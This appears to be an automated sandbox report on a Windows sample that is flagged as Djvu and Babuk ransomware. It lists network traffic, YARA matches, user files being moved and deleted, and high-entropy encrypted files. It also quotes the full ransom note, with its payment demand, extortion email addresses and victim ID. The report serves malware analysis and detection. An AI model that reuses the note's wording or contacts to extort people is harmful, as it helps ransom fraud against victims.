Source: U59WtZz2Sg.exe, 00000005.00000003.351612553.0000000003060000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.youtube.com/ equals www.youtube.com (Youtube)
Source: U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/: equals www.youtube.com (Youtube)
Source: U59WtZz2Sg.exe, 00000005.00000003.527393147.0000000000610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/B equals www.youtube.com (Youtube)

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----1417805488924803Host: 88.198.94.71Content-Length: 131097Connection: Keep-AliveCache-Control: no-cache

Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.5:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.5:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.5:49712 version: TLS 1.2

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe

Code function: 1_2_004822E0 CreateDCA,CreateCompatibleDC,GetDeviceCaps,GetDeviceCaps,GetDeviceCaps,CreateCompatibleBitmap,SelectObject,GetObjectA,BitBlt,GetBitmapBits,SelectObject,DeleteObject,DeleteDC,DeleteDC,DeleteDC,

Source: U59WtZz2Sg.exe, 00000000.00000002.304665425.00000000007EA000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl

Spam, unwanted Advertisements and Ransom Demands

Found ransom note / readme

Source: C:\_readme.txt

Dropped file: ATTENTION!Don't worry, you can return all your files!All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.The only method of recovering files is to purchase decrypt tool and unique key for you.This software will decrypt all your encrypted files.What guarantees you have?You can send one of your encrypted file from your PC and we decrypt it for free.But we can decrypt only 1 file for free. File must not contain valuable information.You can get and look video overview decrypt tool:https://we.tl/t-5UcwRdS3EDPrice of private key and decrypt software is $980.Discount 50% available if you contact us first 72 hours, that's price for you is $490.Please note that you'll never restore your data without payment.Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.To get this software you need write on our e-mail:support@fishmail.topReserve e-mail address to contact us:datarestorehelp@airmail.ccYour personal ID:0609djfsieEK6te1YGPnIbo4GcGOEP3iHx1cFFHBUeguxRGm3XS

Yara detected Babuk Ransomware

Source: Yara match

File source: Process Memory Space: U59WtZz2Sg.exe PID: 6132, type: MEMORYSTR

Yara detected Djvu Ransomware

Source: Yara match	File source: 5.0.U59WtZz2Sg.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.U59WtZz2Sg.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.U59WtZz2Sg.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.U59WtZz2Sg.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.U59WtZz2Sg.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.U59WtZz2Sg.exe.400000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.U59WtZz2Sg.exe.21e15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.0.U59WtZz2Sg.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.U59WtZz2Sg.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.U59WtZz2Sg.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.0.U59WtZz2Sg.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.U59WtZz2Sg.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.0.U59WtZz2Sg.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.U59WtZz2Sg.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.0.U59WtZz2Sg.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.U59WtZz2Sg.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.U59WtZz2Sg.exe.400000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.U59WtZz2Sg.exe.22315a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.0.U59WtZz2Sg.exe.400000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.U59WtZz2Sg.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.U59WtZz2Sg.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.U59WtZz2Sg.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.U59WtZz2Sg.exe.400000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.U59WtZz2Sg.exe.400000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.U59WtZz2Sg.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.U59WtZz2Sg.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.U59WtZz2Sg.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.U59WtZz2Sg.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.U59WtZz2Sg.exe.400000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.0.U59WtZz2Sg.exe.400000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.U59WtZz2Sg.exe.22815a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.U59WtZz2Sg.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.U59WtZz2Sg.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.U59WtZz2Sg.exe.22215a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.0.U59WtZz2Sg.exe.400000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.U59WtZz2Sg.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.0.U59WtZz2Sg.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.U59WtZz2Sg.exe.400000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.U59WtZz2Sg.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.U59WtZz2Sg.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.U59WtZz2Sg.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.U59WtZz2Sg.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.U59WtZz2Sg.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.U59WtZz2Sg.exe.21a15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.U59WtZz2Sg.exe.21a15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.0.U59WtZz2Sg.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.U59WtZz2Sg.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.U59WtZz2Sg.exe.400000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.U59WtZz2Sg.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.U59WtZz2Sg.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.U59WtZz2Sg.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.U59WtZz2Sg.exe.400000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.U59WtZz2Sg.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.U59WtZz2Sg.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.0.U59WtZz2Sg.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.U59WtZz2Sg.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.U59WtZz2Sg.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.U59WtZz2Sg.exe.22815a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.U59WtZz2Sg.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.0.U59WtZz2Sg.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.U59WtZz2Sg.exe.22315a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.U59WtZz2Sg.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.U59WtZz2Sg.exe.400000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.U59WtZz2Sg.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.U59WtZz2Sg.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.U59WtZz2Sg.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.U59WtZz2Sg.exe.400000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.U59WtZz2Sg.exe.400000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.U59WtZz2Sg.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.U59WtZz2Sg.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.U59WtZz2Sg.exe.21e15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.U59WtZz2Sg.exe.400000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.U59WtZz2Sg.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.U59WtZz2Sg.exe.22215a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.U59WtZz2Sg.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.U59WtZz2Sg.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.U59WtZz2Sg.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.U59WtZz2Sg.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.U59WtZz2Sg.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.0.U59WtZz2Sg.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000000.367371233.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.317450025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000000.345862911.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.564528734.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.305141359.0000000002220000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.323219375.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000000.344652371.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.324169163.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.378588767.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.303569533.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.362805036.0000000002280000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.322799276.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.351892792.00000000021A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000000.364650257.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.314511925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000000.347232318.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.302933053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000000.345188173.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.364455127.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.315044936.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000000.365343536.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.317037787.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.309064408.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.322395529.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.314284082.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.323671151.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000000.366169302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.318481347.00000000021E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000000.346399832.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.378615646.0000000002230000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.353616538.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.303182079.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.302301176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.301786839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000000.364114264.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: U59WtZz2Sg.exe PID: 5228, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: U59WtZz2Sg.exe PID: 3692, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: U59WtZz2Sg.exe PID: 1272, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: U59WtZz2Sg.exe PID: 3184, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: U59WtZz2Sg.exe PID: 6132, type: MEMORYSTR

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File moved: C:\Users\user\Desktop\BPMLNOBVSB.jpg	Jump to behavior
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File deleted: C:\Users\user\Desktop\BPMLNOBVSB.jpg	Jump to behavior
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File moved: C:\Users\user\Desktop\WUTJSCBCFX\WUTJSCBCFX.docx	Jump to behavior
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File deleted: C:\Users\user\Desktop\WUTJSCBCFX\WUTJSCBCFX.docx	Jump to behavior
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File moved: C:\Users\user\Desktop\KZWFNRXYKI\QNCYCDFIJJ.mp3	Jump to behavior

Writes many files with high entropy

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\ActiveSync\LocalState\DiagOutputDir\SyncVerbose.etl.0001 entropy: 7.99718399296
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\ActiveSync\LocalState\DiagOutputDir\UnistackCircular.etl.0001 entropy: 7.99869096623
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\ActiveSync\LocalState\DiagOutputDir\UnistackCritical.etl.0001 entropy: 7.99861836034
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133051620838562510.txt entropy: 7.99842047333
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\qml\QtQuick\Controls.2\plugins.qmltypes entropy: 7.9976440774
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133051620921860467.txt entropy: 7.9983292679
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133142701119838854.txt entropy: 7.99818298483
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133142701138403912.txt entropy: 7.99822942189
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133142701505080737.txt entropy: 7.99843483481
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Temp\scoped_dir4296_1252151785\CRX_INSTALL\images\flapper.gif entropy: 7.99709477717
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\qml\QtQuick\Extras\plugins.qmltypes entropy: 7.99393413696
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\qml\QtQuick\Templates.2\plugins.qmltypes entropy: 7.99754052711
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\E5I42ZYH\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_10[1].txt entropy: 7.99584745995
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\E5I42ZYH\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_11[1].txt entropy: 7.99855840227
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\E5I42ZYH\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_12[1].txt entropy: 7.99463027142
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\E5I42ZYH\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_14[1].txt entropy: 7.99489474793
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases\Databases.db entropy: 7.99188039174	Jump to dropped file
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\E5I42ZYH\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_17[1].txt entropy: 7.99835419598
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\E5I42ZYH\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_18[1].txt entropy: 7.99865927987
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\E5I42ZYH\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_19[1].txt entropy: 7.996764672
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\E5I42ZYH\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_21[1].txt entropy: 7.99817114966
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\E5I42ZYH\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_22[1].txt entropy: 7.99155169116
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\E5I42ZYH\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_23[1].txt entropy: 7.99862793305
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\E5I42ZYH\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_24[1].txt entropy: 7.99564862987
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\E5I42ZYH\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_27[1].txt entropy: 7.99365886765
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Last Active\{5BAAF43C-032B-11EB-90E4-ECF4BB570DC9}.dat entropy: 7.9912230943
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\E5I42ZYH\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_2[1].txt entropy: 7.99662861073
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\IntlProvider.dll.mui entropy: 7.99409784357
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\E5I42ZYH\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_3[1].txt entropy: 7.99636084684
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\E5I42ZYH\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_6[1].txt entropy: 7.99443921081
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\E5I42ZYH\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_7[1].txt entropy: 7.99121582669
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.14.0_0\eventpage_bin_prod.js entropy: 7.99751740013	Jump to dropped file
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\WimProvider.dll.mui entropy: 7.9923616287
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\adm\de\OneDrive.adml entropy: 7.99556620242
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\adm\es\OneDrive.adml entropy: 7.99597410146
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\adm\fr\OneDrive.adml entropy: 7.99599838665
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\adm\hu\OneDrive.adml entropy: 7.99603839271
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\adm\it\OneDrive.adml entropy: 7.99575239825
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\adm\ja\OneDrive.adml entropy: 7.99595138657
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\adm\ko\OneDrive.adml entropy: 7.99574027367
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\adm\nl\OneDrive.adml entropy: 7.9952345599
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_1024_POS4.jpg entropy: 7.99746001356
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\adm\pl\OneDrive.adml entropy: 7.99597646639
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\adm\pt-BR\OneDrive.adml entropy: 7.99602810998
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\adm\pt-PT\OneDrive.adml entropy: 7.9950605594
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\adm\ru\OneDrive.adml entropy: 7.99692983487
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Google Profile.ico entropy: 7.99871963214	Jump to dropped file
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\adm\sv\OneDrive.adml entropy: 7.99524754113
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\adm\tr\OneDrive.adml entropy: 7.99606012022
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\adm\zh-CN\OneDrive.adml entropy: 7.99481256171
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\adm\zh-TW\OneDrive.adml entropy: 7.99425827432
